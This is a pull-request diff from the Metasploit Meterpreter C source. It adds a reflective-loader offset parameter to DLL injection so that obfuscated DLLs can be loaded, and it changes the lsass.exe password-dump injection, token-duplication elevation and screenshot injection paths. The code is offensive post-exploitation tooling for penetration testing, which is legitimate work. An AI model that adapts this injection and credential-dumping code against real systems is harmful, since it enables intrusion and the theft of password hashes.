Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
25 commits
Select commit Hold shift + click to select a range
7f13bfd
Removes calling reflective loader from DLL, adds reflective loader to…
msutovsky-r7 Mar 20, 2026
a3b0d27
Removes redundant comments and lines
msutovsky-r7 Mar 20, 2026
93db3d6
Adds additional relocation type
msutovsky-r7 Mar 23, 2026
aaf97ab
Moves extension loader into separate file
msutovsky-r7 Mar 23, 2026
76d02b9
Removes breakpoint
msutovsky-r7 Mar 23, 2026
dbd902c
Apply suggestion from @Copilot
dledda-r7 Mar 27, 2026
ca8b507
Removes reflective loader from extensions
msutovsky-r7 Mar 24, 2026
2c71c73
Addresses some comments
msutovsky-r7 Mar 30, 2026
288858c
Restores extensions
msutovsky-r7 Apr 8, 2026
023b111
Restore reflective loader to extensions
msutovsky-r7 Apr 8, 2026
dc5ec2b
Removes function definition
msutovsky-r7 Apr 8, 2026
f037526
Restore common_winapi.h
msutovsky-r7 Apr 8, 2026
a5e911e
Fixes the arguments in metsrv.h
msutovsky-r7 Apr 13, 2026
c429618
fix: update LoadReflectively function to improve error handling
dledda-r7 Apr 16, 2026
a0c32af
refactor: comment out LoadLibraryR inclusion and adjust extension ini…
dledda-r7 Apr 16, 2026
e61d088
Merge pull request #1 from dledda-r7/collab/feat/metsrv/extension-ref…
msutovsky-r7 Apr 21, 2026
01b124d
feat: add VirtualFreeEx function to winapi
dledda-r7 Apr 22, 2026
f98473e
refactor: implement meterpreter reflective loading for stageless exte…
dledda-r7 Apr 22, 2026
144ac5c
feat: add TLV_TYPE_LIB_LOADER_OFFSET to represent ReflectiveLoader fu…
dledda-r7 Apr 22, 2026
b1d672b
feat: implement LoadLibraryR in metsrv and expose it on metapi
dledda-r7 Apr 22, 2026
b3b8e77
feat: integrate reflective loader offset into elevate_via_service_tok…
dledda-r7 Apr 22, 2026
81439d9
feat: support offset for inject_dll function
dledda-r7 Apr 22, 2026
ebf6982
Apply suggestion from @dledda-r7
dledda-r7 Apr 28, 2026
bbaeada
Apply suggestion from @dledda-r7
dledda-r7 Apr 28, 2026
0c24c2d
Merge pull request #2 from dledda-r7/collab/feat/metsrv/extension-ref…
msutovsky-r7 May 15, 2026
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions c/meterpreter/source/common/common_core.h
Original file line number Diff line number Diff line change
Expand Up @@ -151,6 +151,7 @@ typedef enum
TLV_TYPE_MIGRATE_STUB = TLV_VALUE(TLV_META_TYPE_RAW, 411), ///! Represents a migration stub (raw).
TLV_TYPE_LIB_LOADER_NAME = TLV_VALUE(TLV_META_TYPE_STRING, 412), ///! Represents the name of the ReflectiveLoader function (string).
TLV_TYPE_LIB_LOADER_ORDINAL = TLV_VALUE(TLV_META_TYPE_UINT, 413), ///! Represents the ordinal of the ReflectiveLoader function (int).
TLV_TYPE_LIB_LOADER_OFFSET = TLV_VALUE(TLV_META_TYPE_UINT, 414), ///! Represents the offset of the ReflectiveLoader function (unsigned int).

// Transport switching
TLV_TYPE_TRANS_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 430), ///! Represents the type of transport to switch to.
Expand Down
8 changes: 6 additions & 2 deletions c/meterpreter/source/common/common_metapi.h
Original file line number Diff line number Diff line change
Expand Up @@ -4,15 +4,19 @@
*/
#ifndef _METERPRETER_COMMON_METAPI_H
#define _METERPRETER_COMMON_METAPI_H

#include "common_winapi.h"

typedef struct _ReflectiveLoaderApi
{
HANDLE (WINAPI *LoadRemoteLibraryR)(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPCSTR cpReflectiveLoaderName, DWORD dwActualReflectiveLoaderOffset, LPVOID lpParameter);
} ReflectiveLoaderApi;
typedef struct _InjectApi
{
DWORD(*dll)(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize);
DWORD(*dll)(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, DWORD dwActualReflectiveLoaderOffset, LPVOID lpArg, SIZE_T stArgSize);
DWORD(*via_apcthread)(Remote* remote, Packet* response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter);
DWORD(*via_remotethread)(Remote* remote, Packet* response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter);
DWORD(*via_remotethread_wow64)(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* pThread);
ReflectiveLoaderApi reflective_loader;
} InjectApi;

typedef struct _ChannelApi
Expand Down
1 change: 1 addition & 0 deletions c/meterpreter/source/common/common_winapi.h
Original file line number Diff line number Diff line change
Expand Up @@ -65,6 +65,7 @@ typedef struct _WinApiKernel32 {
SIZE_T (*VirtualQuery)(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);
SIZE_T (*VirtualQueryEx)(HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);
BOOL (*VirtualFree)(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
BOOL (*VirtualFreeEx)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
HANDLE (*CreateRemoteThread)(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
BOOL (*CloseHandle)(HANDLE hObject);
BOOL (*DuplicateHandle)(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions);
Expand Down
6 changes: 5 additions & 1 deletion c/meterpreter/source/extensions/priv/passwd.c
Original file line number Diff line number Diff line change
Expand Up @@ -503,7 +503,11 @@ DWORD __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresul
dprintf("[PASSWD] Injecting into lsass.exe pid: %u", dwLsassPid);

/* todo: change the ReflectiveLoader string here, it's silly */
if ((dwResult = met_api->inject.dll(dwLsassPid, dwLsassArch, dump_sam, (DWORD)stResourceSize, LOADER_ORDINAL(EXPORT_REFLECTIVELOADER), pvParameterMemory, 0)) != ERROR_SUCCESS)
/* Currently is hard to support obfuscation of dump_sam.
Due to how dump_sam is embedded inside the priv extension.
Hardcoding offset to 0 so it will use the original `ReflectiveLoader`
*/
if ((dwResult = met_api->inject.dll(dwLsassPid, dwLsassArch, dump_sam, (DWORD)stResourceSize, LOADER_ORDINAL(EXPORT_REFLECTIVELOADER), 0, pvParameterMemory, 0)) != ERROR_SUCCESS)
BREAK_WITH_ERROR("[PASSWD} Unable to inject DLL", dwResult);
dprintf("[PASSWD] Successfully injected the DLL into lsass.exe");

Expand Down
5 changes: 2 additions & 3 deletions c/meterpreter/source/extensions/priv/tokendup.c
Original file line number Diff line number Diff line change
@@ -1,8 +1,6 @@
#include "precomp.h"
#include "common_metapi.h"
#include "tokendup.h"
#include "../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h"
#include "../../ReflectiveDLLInjection/inject/src/LoadLibraryR.c"

/*
* Enable or disable a privilege in our processes current token.
Expand Down Expand Up @@ -79,6 +77,7 @@ DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet )
do
{
LPCSTR reflectiveLoader = met_api->packet.get_tlv_value_reflective_loader(packet);
DWORD dwActualReflectiveLoaderOffset = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_LIB_LOADER_OFFSET);

// only works on x86 systems for now...
if( elevate_getnativearch() != PROCESS_ARCH_X86 )
Expand Down Expand Up @@ -156,7 +155,7 @@ DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet )
break;

// use RDI to inject the elevator.dll into the remote process, passing in the command line to elevator.dll
hThread = LoadRemoteLibraryR( hProcess, lpServiceBuffer, dwServiceLength, reflectiveLoader, lpRemoteCommandLine );
hThread = met_api->inject.reflective_loader.LoadRemoteLibraryR( hProcess, lpServiceBuffer, dwServiceLength, reflectiveLoader, dwActualReflectiveLoaderOffset, lpRemoteCommandLine );
if( !hThread )
break;

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -71,7 +71,8 @@ DWORD ps_inject( DWORD dwPid, DLL_BUFFER * pDllBuffer, LPCSTR reflectiveLoader,
if( dwDllArch != dwPidArch )
BREAK_WITH_ERROR( "[PS] ps_inject_dll. pid/dll architecture mixup", ERROR_BAD_ENVIRONMENT );

dwResult = met_api->inject.dll( dwPid, dwPidArch, lpDllBuffer, dwDllLength, reflectiveLoader, cpCommandLine, strlen(cpCommandLine) + 1 );
// TODO: support offset for obfuscated dlls
dwResult = met_api->inject.dll( dwPid, dwPidArch, lpDllBuffer, dwDllLength, reflectiveLoader, 0, cpCommandLine, strlen(cpCommandLine) + 1 );
} while( 0 );

return dwResult;
Expand Down
4 changes: 4 additions & 0 deletions c/meterpreter/source/extensions/stdapi/server/ui/desktop.c
Original file line number Diff line number Diff line change
Expand Up @@ -427,6 +427,10 @@ DWORD request_ui_desktop_screenshot(Remote * remote, Packet * request)
}

LPCSTR reflectiveLoader = met_api->packet.get_tlv_value_reflective_loader(request);
/* TODO: Get optional offset for external reflective loader
* Modify the DLL_BUFFER struct to support offsets...
* another note is to remove / update this technique to a better one.
*/

// get the x86 and x64 screenshot dll's. we are not obliged to send both but we reduce the number of processes
// we can inject into (wow64 and x64) if we only send one type on an x64 system. If we are on an x86 system
Expand Down
6 changes: 5 additions & 1 deletion c/meterpreter/source/metsrv/base_inject.c
Original file line number Diff line number Diff line change
Expand Up @@ -654,7 +654,7 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW
*/


DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize)
DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, DWORD dwActualReflectiveLoaderOffset, LPVOID lpArg, SIZE_T stArgSize)
{
DWORD dwResult = ERROR_ACCESS_DENIED;
LPVOID lpRemoteArg = NULL;
Expand All @@ -672,6 +672,10 @@ DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD

// check if the library has a ReflectiveLoader...
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpDllBuffer, reflectiveLoader);
if(dwActualReflectiveLoaderOffset != 0) {
dprintf("[INJECT] inject_dll. Overriding ReflectiveLoader offset with supplied value: 0x%08X", dwActualReflectiveLoaderOffset);
dwReflectiveLoaderOffset = dwActualReflectiveLoaderOffset;
}
if (!dwReflectiveLoaderOffset)
BREAK_WITH_ERROR("[INJECT] inject_dll. GetReflectiveLoaderOffset failed.", ERROR_INVALID_FUNCTION);

Expand Down
2 changes: 1 addition & 1 deletion c/meterpreter/source/metsrv/base_inject.h
Original file line number Diff line number Diff line change
Expand Up @@ -98,7 +98,7 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW

DWORD inject_via_remotethread_wow64(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread);

DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize);
DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, DWORD dwActualReflectiveLoaderOffset, LPVOID lpArg, SIZE_T stArgSize);
BOOL supports_poolparty_injection(DWORD dwSourceArch, DWORD dwDestinationArch);
//===============================================================================================//
#endif
Expand Down
Loading
Loading